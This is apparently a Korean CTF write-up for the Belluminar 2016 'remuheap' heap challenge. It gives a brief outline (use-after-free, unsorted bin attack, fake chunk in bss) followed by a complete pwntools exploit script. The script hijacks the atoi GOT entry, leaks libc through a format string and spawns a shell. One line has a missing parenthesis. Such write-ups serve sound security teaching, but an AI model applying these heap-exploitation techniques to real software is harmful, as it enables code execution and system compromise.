Pwnable/CTF

Belluminar 2016 remuheap

HSr00t 2017. 10. 19. 01:06

fgets를 쓰면 힙에 malloc가 되고 데이터를 쓴다.

그 malloc된 힙을 이용하여서 UAF이후 unsorted bin attack 한 다음에 전역변수 공간에(bss) fake chunk를 만들어주고

릭 하고 공격하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
 
p=process("./remuheap")
elf=ELF("./remuheap")
 
def malloc(size,data):
    p.recvuntil('> ')
    p.sendline("1")
    p.recvuntil(': ')
    p.sendline(str(size))
    p.recvuntil(': ')
    p.sendline(data)
 
def free():
    p.recvuntil('> ')
    p.sendline("2")
    print "free"
 
def modify(age_yn,age,name,nameyn):
    p.recvuntil('> ')
    p.sendline("3")
    p.recvuntil('? ')
    p.sendline(age_yn)
    if(age_yn=='y'):
        p.recv(1024)
        p.sendline(str(age))
        print "y input"    
    p.recvuntil(': ')
    p.sendline(name)
    p.recvuntil('? ')
    p.sendline(nameyn)
 
def exit(code):
    p.recvuntil('> ')
    p.sendline("5")
    p.recvuntil(': ')
    p.sendline(str(code))
 
person_info = 0x6020d0
 
malloc(4096,"A"*10)
free()
modify('y',32,"B"*10,'y')
free()
modify('y',32,p64(0)+p64(person_info-0x18),'y')
exit(0x211)
malloc(514,p64(elf.got['atoi']-0x8)+p64(elf.got['atoi']-0x8))
modify('n',32,p64(elf.plt['printf']),'y')
p.recv(1024)
p.sendline("%7$p")
puts = int(p.recv(14),16- 362 #-362
libc_base = puts - 0x6f690
oneshot = libc_base + 0x4526a
system = libc_base + 0x45390
print hex(puts)
print hex(libc_base)
print hex(system)
 
p.recv(1024)
p.sendline("33")
p.recvuntil('? ')
p.sendline('n')
p.recvuntil(': ')
p.sendline(p64(system))
p.recvuntil('? ')
p.sendline('y')
 
p.sendline("/bin/sh\00")
 
 
p.interactive()
 
cs